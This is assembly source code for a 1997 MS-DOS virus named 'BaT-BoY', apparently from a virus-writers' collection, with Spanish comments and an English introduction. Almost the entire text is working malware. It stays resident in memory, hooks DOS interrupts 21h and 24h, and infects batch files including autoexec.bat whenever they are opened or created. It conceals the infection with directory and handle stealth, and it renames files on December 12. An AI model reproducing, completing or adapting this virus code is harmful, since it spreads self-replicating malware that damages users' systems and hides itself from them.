;
;        ***************************************************
;        *                                                 *
;        *        VIRUS  BaT-BoY  por Nigromante           *
;        *                                                 *
;        ***************************************************
;
;        Autor:  nIgrOmAntE     (Valencia/1997)
;
;        CARACTER¡STICAS:
;        A)   Contaminador de bat
;        B)   Residente
;        C)   Dir Stealth
;        D)   Desinfecto al Vuelo
;
; [* I asked for nIgr0 this virus when he told me what it done, because it
; seemed to me very interesting, and very very funny. It's a BAT infector,
; but the best of it its that it's a TSR FULL STEALTH virus ;) - BB *]
;

.286

 ;este es el tama¤o que ocupa el virus dentro de un .bat
tamano          equ     3743d

 ;este es el tama¤o que ocupa el virus en memoria
long_vir        equ     (fin-start)+4000h

 ;este es el tama¤o real del virus sin ningun buffer extra
size            equ     fin-start                          ;XDDDD


code            segment 'code'
		assume  cs:code,ds:code,es:code
		org     100h                    ;empiezo en 100 ya que es un com

start:          push    cs          ;ahora ds y es apuntan a cs
		push    cs
		pop     ds
		pop     es


                push    01234H         ;mira a ver si esta residente
                pop     ax
                int     21h
                cmp     ax, 04321H     ;si lo esta devuelve 04321H
                je      enmemoria

                mov    ah,4eh          ;busco un archivo bat infectado
                lea    dx,bats         ;para copiar a un buffer el codigo del
                xor    cx,cx           ;virus modificado con com2txt ,antes
                int    21h             ;de quedar residente,si no encuentra
                jc     enmemoria       ;ningun bat infectado en el directorio
                jmp    buscarvir       ;actual no se quedar  residente.

    enmemoria:  jmp    yaenmemoria

    buscarmas:  mov    ah,4fh
                int    21h
                jc     enmemoria

   buscarvir:   mov    ah,2fh
                int    21h          ;en es:bx el dta
                mov    ax,es:[bx+16h]       ;obtengo el timestamp
                and    al,00011111b
                cmp    al,00011111b
                jne    buscarmas

                push   es
                pop    ds

                mov    ax,3d00h    ;abro para solo lectura
                lea    dx,[bx+1eh]
                int    21h         ;abro el file
                xchg   ax,bx

                push   cs
                push   cs
                pop    ds
                pop    es

    leervir:
                xor cx,cx
                cwd
                mov ax,4202h  ;en dx:ax el tama¤o del file
                int 21h

                mov cx,dx
                mov dx,ax
                sub dx,tamano     ;paso completamente de dx con lo que
                mov ax,4200h      ;si el archivo bat sobrepasa los 64 kb
                int 21h           ;(cosa improbable se ir  de baras)

                mov ah,3fh
                lea dx,buffer
                mov cx,tamano
                int 21h         ;relleno el buffer

                mov ah,3eh
                int 21h         ;cierro el file
                
                call    Infectar_autoexec

                mov     ax, 3521H      ;guarda la direccion
		int     21h                        ;de la int 21 para poder
                mov     cs:word ptr [oldint21],bx    ;llamarla cuando nos 
                mov     cs:word ptr [oldint21+2],es  ;plazca :-)

		
                mov     ax,cs            ;lo dejo residente mediante la 
                dec     ax               ;tecnica de MCB
                mov     es,ax            
		mov     ax,es:[3]
                sub     ax,((long_vir+15)/16)+1  ;le resto a ax la long_del_virus
                                                 ;en paragrafos
                xchg    bx,ax    
                mov     ah,4ah
                push    cs
                pop     es       
                int     21h      ;Asignar blocke de memoria
		
		mov     ah,48h         ;el parrafo del MCB
                mov     bx,((long_vir+15)/16)
                int     21h            

                dec     ax                ;en ax devuelve el segmento reservado
                mov     es,ax             ;es apunta al segmento del MCB del segemento reservado
                mov     word ptr es:[1],8 ;marco el bloque con un 8 para que
                inc     ax                ;no lo sobreescriban
                mov     es,ax             ;ahora es apunta al segmento reservado
		
		push    cs
		pop     ds
                cld
                xor     si,si             ; el comienzo del com
                xor     di,di             ; copio el virus al segmento
                mov     cx,long_vir       ; de memoria donde permanecer 
                rep     movsb             ; residente  DS:SI -> ES:DI
		
                mov     ax,2521h          ;hago la redirecci¢n
                mov     dx,offset [nuevaint21]
		push    es                ;llevo el valor del segmento reservado
		pop     ds                ;a ds para realizar la redirec..
		int     21h

yaenmemoria:    

                int 20H       ;Salgo al DOS

                db     '*** nIgrO_lives_here ***'

;*********** Rutina de Infecci¢n para el Autoexec ****************
Infectar_autoexec:
              mov   ax,4300h             ;obtengo los atributos
              lea   dx,archivo
              int   21h

              push  cx         ;salvo los atributos en pila

              mov   ax,4301h
              xor   cx,cx
              lea   dx,archivo
              int   21h                 ;limpio los atributos
              jc    salida

              lea  dx,archivo
              mov  ax,3d02h      ;abro para R/W
              int  21h
              jc   salida

              xchg bx,ax

               mov     ax,5700h
               and     cl,00011111b      ; desenmascaramos los segundos.
               cmp     cl,00011111b
               je      salida            ;Si esta contaminado salgo
   
               mov ax,4202h         ;me voy al final
               xor cx,cx
               cwd
               int 21h            
                
               lea dx,buffer        ;copio el virus al final del bat
               mov ah,40h
               mov cx,tamano        ;tamano del virus en el bat
               int  21h

               mov     ax,5700h
               int 21h
               mov     ax,5701h       ;modifico la hora
               or      cl,00011111b   ;para marcar el bat como infectado
               int  21h


   salida:
               mov  ah,3eh
               int  21h              ;cierro el file

               pop  cx
               lea  dx,archivo  
               mov  ax,4301h         ;pongo los antiguos atributos
               int  21h

               ret

archivo        db 'c:\autoexec.bat',0

;************ Comienzo de la nueva Interrupci¢n 21h **************


nuevaint21:
                cmp ah, 4Eh
                je handle_stealth         ;salto al handel stealth                                  
                cmp ah, 4Fh                                              
                je handle_stealth         ;salto al handel stealth                                      
                cmp ah,11h
                je dir_stealth
                cmp ah,12h
                je dir_stealth
                
                cmp     ax,01234h         ;a partir de aqui viene la
                je      estainMemory      ;parte que se quedar  residente
                cmp     ah,3dh            ;por lo que no habr  desplazamiento
                je      infectar          ;de variables
                cmp     ah,5bh
                je      infectar          ;Con las funciones de crear tambien
                cmp     ah,3ch            ;infecto
                je      infectar
                cmp     ax,6c00h          ;opertura extendida
                je      infectar2         ;el comando type por ejemplo
           ;     cmp     ax,5700h
           ;     je      freadtime
                jmp     cs:[oldint21]     ;utiliza la 6c y no la 3d

estainMemory:   mov     ax,04321h
                iret
 
 ;*********** Tabla de Jmps para evitar el corto alcance de un je ****
infectar:       jmp     infector        
infectar2:      jmp     infector2
freadtime:      jmp     readtime

dir_stealth:
          pushf                          ; simulamos un
          call cs:[Oldint21]             ; int 21h
          or al,al                       ; si AL=0 todo salio OK.
          jne ERROR                      ; ag, ha ocurrido un error.. ;)

          push ax
          push bx
          push es                        ; guardamos los registros

          mov ah,2fh                     ; Nos devuelve en
          int 21h                        ; ES:BX -> direcci¢n del DTA



          cmp byte ptr es:[BX],0ffh      ; el primer byte es FF?
          jne normal                     ; no, es FCB NORMAL
          add bx,7h                      ; Es EXTENDIDA, le sumamos 7 bytes
                           ;la diferencia entre la fcb normal y la
                           ;extendida son 7 bytes que la extendida tiene
                            ;al principio

normal: mov ax,es:[bx+17h]              ; tomamos la hora del file del FCB
        and ax,1fh                      ; desenmascaramos los segundos.
        xor al,1fh                      ; son 62 segundos!?.
                                        ; 1fh = 31 decimal, 31*2 = 62 seg.
                                        ; XOR = CMP, pero mas rapido y corto
        jne no_infectado                ; no son 60, no esta infectado..

        sub word ptr es:[bx+1dh],tamano  ; le restamos el tama¤o del virus.
        sbb word ptr es:[bx+1fh],0       ; por si nos da resto

no_infectado: pop es
              pop bx
              pop ax                    ; restauramos los registros
                                        ; pusheados
error:        iret                      ; volvemos a casita


             
handle_stealth:
             pushf                             ; simulamos un int 21h     
             call  cs:[Oldint21]               ; asi nos llena el DTA.    
             jc handle_back                    ; error!.
             pushf                                                              
             push ax bx cx dx es ds            ; guardamos registros      

             mov     ah, 02ah        ; funcion para obtener
             int     21h             ; la fecha
             cmp     dh,  12d        ; compara el mes 
             jne     nopayload
             cmp     dl,  12d        ; compara con el 12 del 12
             jne     nopayload     

             mov ah, 2fh                       ; pedimos la direcci¢n     
             int 21h                           ; del DTA.                 

             mov     cx,6h           ;cambio el nombre de los
             mov     di,bx           ;archivos 
             add     di,1eh
             lea     si,nuevonom
             push    cs
             pop     ds
             rep     movsb

nopayload:                               
             mov ah, 2fh                       ; pedimos la direcci¢n     
             int 21h                           ; del DTA.                 
                                               ; En es:bx la direccion
         
             mov ax, es:[bx+16h]               ; tomamos la hora del file 
                                               ; del DTA                  
             and al, 00011111b                 ; tomamos los segundos.    
             cmp al, 00011111b                 ; son 60 segundos?         
             jne  handle_pops                  ; no infectado, no restar  



             sub word ptr es:[bx+1ah], tamano   ; le restamos el tama¤o del
             sbb word ptr es:[bx+1ch], 0        ; virus al file.           
                                                                           
handle_pops:   pop ds es dx cx bx ax           ; restauramos registros    
               popf
handle_back:   retf 2
                                                                           
nuevonom       db 'nIgrO',0

emergy:          jmp emergencia

infector:        mov cs:[status],cx
                 mov cs:[llamada],ax
                 pushf                ;la propia call desapilar  los flags
                 call  cs:[oldint21]  ;llamo a la rutina verdadera
                 jc emergy
                 call push_all
                 mov  di,dx
                 jmp  contaminar

infector2:       mov cs:[status],cx
                 mov cs:[llamada],ax
                 pushf                ;la propia call desapilar  los flags
                 call  cs:[oldint21]  ;llamo a la rutina verdadera
                 jc emergy
                 call  push_all
                 mov  di,si      ;en di est  el offset del string
                 mov  dx,si
contaminar:
                 xchg  bx,ax

;**********************************************************************
;*                          CONTAMINACION                             *
;**********************************************************************

                ;en ds:di est  el nombre del archivo
                push bx

                mov ax,3524h
                int 21h
                mov cs:old_int24_off,bx     ; Guarda la antigua int 24h
                mov cs:old_int24_seg,es      

                pop  bx


prosigue:       cmp  byte ptr ds:[di],'.'
                je   extension
                inc  di
                jmp  prosigue
extension:      inc  di
                cmp  byte ptr ds:[di],'B'    ;compruevo que es un BAT
                je   comp2
                cmp  byte ptr ds:[di],'b'
                jne  memarxo
comp2:          cmp  byte ptr ds:[di+1],'a'
                je   comp3
                cmp  byte ptr ds:[di+1],'A'
                jne  memarxo
comp3:          cmp  byte ptr ds:[di+2],'T'
                je   esbat
                cmp  byte ptr ds:[di+2],'t'
                jne  memarxo
                jmp  esbat
      memarxo:  jmp  exit

esbat:          ;en dx est  el comienzo de la string

               call Obtiene_sft                ;en bx el handle del file
               mov ax,word ptr es:[di+02h]
               mov word ptr cs:[modo],ax
               mov word ptr es:[di+02h],02h   ;pongo modo r/w con las SFT


               push  cs
               pop   ds

               mov   ax,2524h
               lea   dx,new_int24        ;modifico el vector 24
               int   21h                 ;para evitar errores cr¡ticos :)

                                         ; OBTIENE LA FECHA
               mov     ax,5700h
               pushf
               call cs:[oldint21]
               and     cl,00011111b      ; desenmascaramos los segundos.
               cmp     cl,00011111b
               je      salir             ;Si esta contaminado salgo


               mov ax,4202h         ;me voy al final
               xor cx,cx
               cwd
               int 21h            

                
               lea dx,buffer        ;copio el virus al final del bat
               mov ah,40h
               mov cx,tamano        ;tamano del virus en el bat
               pushf
               call cs:[oldint21]
                


;Bit(s)  Description   En cx         ;Aqu¡ est  la informaci¢n acerca
; 15-11  hours (0-23)                ;del campo date and time de la funci¢n 
; 10-5   minutes                     ;57 de la int21h
; 4-0    seconds/2

;Bitfields for file date: En dx
;Bit(s)  Description    
; 15-9   year - 1980
; 8-5    month
; 4-0    day
                                              ;Obtengo la fecha
               mov     ax,5700h
               pushf
               call cs:[oldint21]
   
               mov     ax,5701h               ;modifico la hora
               or      cl,00011111b           ;para marcar el bat como infectado
               pushf
               call cs:[oldint21]

               mov  ah,3eh
               int  21h
               call pop_all
               mov  ax,cs:[llamada]     ;vuelvo a abrir el file
               mov  cx,cs:[status]
               int  21h
               call push_all
               xchg bx,ax
            
               call Obtiene_sft                 ;en bx el handle del file
               jc  exit                         ;Actualizo las SFT manualmente
               add word ptr es:[di+11h],tamano  ;sumo en las sft el tama¤o
               adc word ptr es:[di+13h],0000h   ;del virus
               
               mov al,byte ptr es:[di+0Dh]      ;Y marco el virus en las SFT
               or  al,1Fh
               mov byte ptr es:[di+0Dh],al

salir:
exit:
               call Obtiene_sft
               je  nodesinfect
               mov al,byte ptr es:[di+0Dh]
               mov ah,1Fh
               and al,ah
               cmp al,ah
               jne nodesinfect
     ;Resto el tama¤o del virus de las SFT para que su codigo no pueda
     ;ser accedido
               sub word ptr es:[di+11h],tamano
               sbb word ptr es:[di+13h],0000h
     nodesinfect:
               mov ax,word ptr cs:[modo]
               mov word ptr es:[di+02h],ax  ;restauro el modo 

               lds dx,cs:old_int24
               mov ax,2524h               ;la int 24 vuelve a su antigua
               int 21h                    ;direcci¢n

               call pop_all
emergencia:    retf 2    ;salgo de la INT

push_all:
        cli
        pop cs:[dirret]
        pushf
        push ax
        push bx
        push cx
        push dx
        push bp
        push si
        push di
        push es
        push ds
        push cs:[dirret]
        sti
        ret
pop_all:
        cli
        pop cs:[dirret]
        pop ds
        pop es
        pop di
        pop si
        pop bp
        pop dx
        pop cx
        pop bx
        pop ax
        popf
        push cs:[dirret]
        sti
        ret

dirret  dw  0h


; Rutina a la cual se desvia la INT 24h para que no muestre errores
;

Obtiene_sft:
;Handle del archivo en bx
        push bx
;obtene la direcci¢n de JFT en es:di
        mov ax,1220h
        int 2Fh
        jc error_sft
;Sale si se produce error
        xor bx,bx
        mov bl,byte ptr es:[di+00h]
        cmp bl,0FFh
        je error_sft
;Obtiene la entrada de la SFT para el archivo  bx en es:di
        mov ax,1216h
        int 2Fh
        jc error_sft
        pop bx
        stc
        cmc
        ret
;Salir si se produce error
error_sft:
        pop bx
        stc
        ret

readtime:     pushf
              call cs:[oldint21]
              jc  salir_rt
              pushf
              push cx

              and     cl,00011111b      ; desenmascaramos los segundos.
              cmp     cl,00011111b
              jne     no_esta_cont      ;Si esta contaminado salgo
              pop     cx
              popf
              and     cl,11100111b     ;quito los 62 segundos de Stamp
              retf 2
 no_esta_cont:pop  cx
              popf
 salir_rt:    retf 2

new_int24:    xor al,al
              iret

oldint21        dd      0             ;esto contiene la direccion de la int 21
old_int24       label  dword          ;esto es para referenciar esta direccion
                                      ;y leer todo el offset y el segmento junto
old_int24_off   dw      0                 ;contenido de la antigua int 24
old_int24_seg   dw      0                 ;no utilizada en esta version del virus
Firma           db      'Virus BaT-BoY por nIgrOmAntE / Valencia 1997'
                db      'Este virus requiere Windoze 95 V1.0 o posterior'
                db      '  ...'
                db      'Explota 20.000.000 de Lemmings no pueden estar equivocados'
Stealth         db      1h   ; esta variable est  a uno si el stealth est  activado
                             ; y est  a 0 si est  desactivado.
llamada         dw      0h
status          dw      0h
modo            dw      0h
bats            db      '*.BAT',0
buffer          db      ' ' ;aqu¡ comienza el buffer donde copiar‚ el virus
fin             label   near
code            ends
                end     start
